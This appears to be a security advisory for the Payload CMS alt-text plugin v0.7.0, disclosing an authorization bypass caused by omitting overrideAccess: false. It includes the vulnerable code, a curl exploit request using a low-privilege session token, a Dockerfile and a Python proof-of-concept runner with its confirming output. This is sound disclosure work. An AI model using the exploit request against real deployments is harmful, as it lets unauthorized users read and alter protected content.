GHSA-4qpv-39hg-f7fx
@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
Details
## Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
### Summary
`@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findByID` and `update`) without setting `overrideAccess: false`. Because Payload's internal logic evaluates `shouldOverrideAccess = overrideAccess !== false`, omitting the parameter causes it to default to `true`, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the `alt` and `keywords` fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated **High** (CVSS 7.1).
### Details
The plugin registers two network endpoints in `alt-text/src/plugin.ts:179-186`. Their default access guard (`plugin.ts:55`) only checks `!!req.user`, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.
The endpoint handler at `alt-text/src/endpoints/generateAltText.ts` accepts user-controlled `id`, `collection`, `locale`, and `update` fields from the request body (`line 29`), then passes them directly to two unsecured Local API calls:
**Read bypass** (`generateAltText.ts:31`): ```typescript const imageDoc = await req.payload.findByID({ id, collection, depth: 0, // overrideAccess: false is absent → defaults to true }) ```
**Write bypass** (`generateAltText.ts:121`): ```typescript await req.payload.update({ id, collection, data: { alt: result.result.altText, keywords: result.result.keywords, }, locale: targetLocale, // overrideAccess: false is absent → defaults to true }) ```
The bulk endpoint (`alt-text/src/endpoints/bulkGenerateAltTexts.ts`) repeats the same pattern at lines `120` (read) and `170` (write).
Payload's internal resolution of `overrideAccess` is: ``` shouldOverrideAccess = overrideAccess !== false // undefined !== false → true → collection access function is never called ```
Because the collection-level `read` and `update` access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.
### PoC
**Environment setup:**
1. Clone the repository and install `@jhb.software/payload-alt-text-plugin@0.7.0` into a Payload v3 project. 2. Configure an upload collection named `media` with `read` and `update` access restricted to users with `role: "admin"`. 3. Configure the plugin with `collections: ["media"]` and a resolver that returns `{ success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }`. 4. As an admin, create a media document (e.g., ID `doc-001`) with `alt = "original safe alt text"`. 5. Obtain a session token for a non-admin user (`role: "user"`).
**Build and run the dynamic PoC (Docker):**
```bash # Build docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run docker run --rm vuln001-poc ```
**Exploit request:**
```bash curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \ -H "Content-Type: application/json" \ -X POST http://localhost:3000/api/alt-text-plugin/generate \ --data '{"collection":"media","id":"doc-001","locale":"en","update":true}' ```
**Expected result:**
- HTTP 200 is returned. - The response body contains `"altText": "PWNED_BY_EXPLOIT"`. - A subsequent admin read of `media/doc-001` confirms `alt = "PWNED_BY_EXPLOIT"` and `keywords = ["hacked", "bypass"]`, despite the collection's update access being restricted to admins.
**Control verification (confirms the bypass is real, not a misconfiguration):**
A direct Local API call with `overrideAccess: false` by the same non-admin user throws `AccessError: update denied for collection "media" (user role: user)`, proving that the access rule is correct and the plugin endpoint is the vector.
**Dynamic reproduction output (Phase 2 confirmed):**
``` VULN-001: Alt Text endpoint authorization bypass Payload Local API overrideAccess omission in generateAltText.ts:31 and :121
[Step 1] Control: non-admin direct update with overrideAccess:false PASS: access correctly denied → AccessError
[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate HTTP status : 200 Response : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}
VULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL ```
### Impact
This is an **Incorrect Authorization** vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:
1. **Read** the content of arbitrary upload documents that collection access rules would otherwise deny them. 2. **Overwrite** the `alt` text and `keywords` fields on those documents, effectively performing unauthorized content modification.
Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.
### Reproduction artifacts
#### `Dockerfile`
```dockerfile # Dockerfile for VULN-001 dynamic reproduction # # Build context: the parent directory that contains both # repo/ (jhb-software/payload-plugins clone) # vuln-001/ (this workspace) # # Build: docker build -t vuln001-poc -f vuln-001/Dockerfile . # Run: docker run --rm vuln001-poc
FROM node:22-slim
WORKDIR /app
# ---- Copy plugin source files required by the PoC ---- # Only the endpoint under test and its direct dependencies are needed. # No Payload framework install required: we mock it in the PoC.
COPY repo/alt-text/src/endpoints/generateAltText.ts ./plugin/src/endpoints/generateAltText.ts COPY repo/alt-text/src/endpoints/schemas.ts ./plugin/src/endpoints/schemas.ts COPY repo/alt-text/src/utilities/mimeTypes.ts ./plugin/src/utilities/mimeTypes.ts COPY repo/alt-text/src/types/AltTextPluginConfig.ts ./plugin/src/types/AltTextPluginConfig.ts COPY repo/alt-text/src/resolvers/types.ts ./plugin/src/resolvers/types.ts
# ---- Copy PoC files ---- COPY vuln-001/package_inner.json ./package.json COPY vuln-001/inner_poc.ts ./inner_poc.ts
# ---- Install minimal runtime dependencies ---- # zod: schema validation used by the endpoint handler # tsx: TypeScript executor that handles .js→.ts extension mapping RUN npm install --no-audit --no-fund
# ---- Run the PoC ---- CMD ["node_modules/.bin/tsx", "inner_poc.ts"] ```
#### `poc.py`
```python #!/usr/bin/env python3 """ poc.py — VULN-001 Dynamic Reproduction Orchestrator
Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0 Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission CWE: CWE-863 (Incorrect Authorization)
This script: 1. Builds a Docker image containing the real plugin endpoint source. 2. Runs the container, which calls the endpoint handler with a non-admin user. 3. Captures stdout/stderr as evidence. 4. Writes the result to phase2_result.json.
Usage: python3 poc.py
Safety: - All traffic stays on 127.0.0.1 / localhost inside Docker. - No external services are contacted. - No live credentials are used. """
import json import os import subprocess import sys
# --------------------------------------------------------------------------- # Paths # ---------------------------------------------------------------------------
THIS_DIR = os.path.dirname(os.path.abspath(__file__)) # Build context: parent directory that contains both repo/ and vuln-001/ BUILD_CONTEXT = os.path.dirname(THIS_DIR) DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile") IMAGE_TAG = "vuln001-poc" RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json")
BUILD_COMMAND = f"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile ." RUN_COMMAND = f"docker run --rm {IMAGE_TAG}" POC_COMMAND = f"python3 poc.py"
def run(cmd: list[str], cwd: str, timeout: int = 180) -> tuple[int, str, str]: """Run a subprocess and return (returncode, stdout, stderr).""" result = subprocess.run( cmd, cwd=cwd, capture_output=True, text=True, timeout=timeout, ) return result.returncode, result.stdout, result.stderr
def write_result(passed: bool, verdict: str, reason: str, evidence: str, build_out: str = "", run_out: str = "", failure_detail: str = "") -> None: """Write phase2_result.json.""" data: dict = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": BUILD_COMMAND, "run_command": RUN_COMMAND, "poc_command": POC_COMMAND, "evidence": evidence, "artifacts": ["Dockerfile", "poc.py"], } if failure_detail: data["failure_detail"] = failure_detail if build_out: data["build_output_tail"] = build_out[-2000:] if run_out: data["run_output"] = run_out with open(RESULT_FILE, "w", encoding="utf-8") as fh: json.dump(data, fh, indent=2, ensure_ascii=False) print(f"\nResult written to: {RESULT_FILE}")
def main() -> int: # ----------------------------------------------------------------------- # Step 1: Build the Docker image # ----------------------------------------------------------------------- print("=" * 60) print("VULN-001 Dynamic Reproduction") print("=" * 60) print() print(f"[1/2] Building Docker image: {IMAGE_TAG}") print(f" Context : {BUILD_CONTEXT}") print(f" Command : {BUILD_COMMAND}") print()
rc, build_stdout, build_stderr = run( ["docker", "build", "-t", IMAGE_TAG, "-f", "vuln-001/Dockerfile", "."], cwd=BUILD_CONTEXT, )
combined_build = (build_stdout + build_stderr).strip() if rc != 0: print("ERROR: Docker build failed.") print(combined_build[-3000:]) write_result( passed=False, verdict="FAIL", reason="Docker 빌드 실패 — npm install 또는 파일 복사 오류", evidence="", build_out=combined_build, failure_detail=f"docker build exit code {rc}:\n{combined_build[-2000:]}", ) return 1
print(" Build succeeded.") print()
# ----------------------------------------------------------------------- # Step 2: Run the PoC container # ----------------------------------------------------------------------- print(f"[2/2] Running PoC container") print(f" Command : {RUN_COMMAND}") print()
rc, run_stdout, run_stderr = run( ["docker", "run", "--rm", IMAGE_TAG], cwd=BUILD_CONTEXT, )
combined_run = (run_stdout + run_stderr).strip() print(combined_run) print()
# ----------------------------------------------------------------------- # Step 3: Evaluate the output # ----------------------------------------------------------------------- success_marker = "VULNERABILITY CONFIRMED" pwned_marker = "PWNED_BY_EXPLOIT"
if rc == 0 and success_marker in combined_run and pwned_marker in combined_run: # Extract the key evidence block lines = combined_run.splitlines() evidence_lines = [] in_block = False for line in lines: if success_marker in line or pwned_marker in line or "EXPLOITATION" in line: in_block = True if in_block: evidence_lines.append(line) if in_block and line.startswith("→"): break evidence = "\n".join(evidence_lines) if evidence_lines else combined_run[-1500:]
write_result( passed=True, verdict="PASS", reason=( "비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 " "admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. " "generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 " "Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 " "컬렉션 레벨 access 함수가 우회됨. " "직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공." ), evidence=evidence, run_out=combined_run, ) print("PASS — vulnerability dynamically confirmed.") return 0
else: print("FAIL — success marker not found or container exited non-zero.") write_result( passed=False, verdict="FAIL" if rc != 0 else "INCOMPLETE", reason=( f"컨테이너 종료 코드 {rc}. " "성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. " "로그를 확인하여 원인 파악 필요." ), evidence=combined_run[-2000:], run_out=combined_run, failure_detail=f"Container exit code: {rc}\nstdout+stderr:\n{combined_run}", ) return 1
if __name__ == "__main__": sys.exit(main()) ```
Are you affected?
Enter the version of the package you're using.
Affected packages
0No fixed version published yet for @jhb.software/payload-alt-text-plugin (npm). Pin to a known-safe version or switch to an alternative.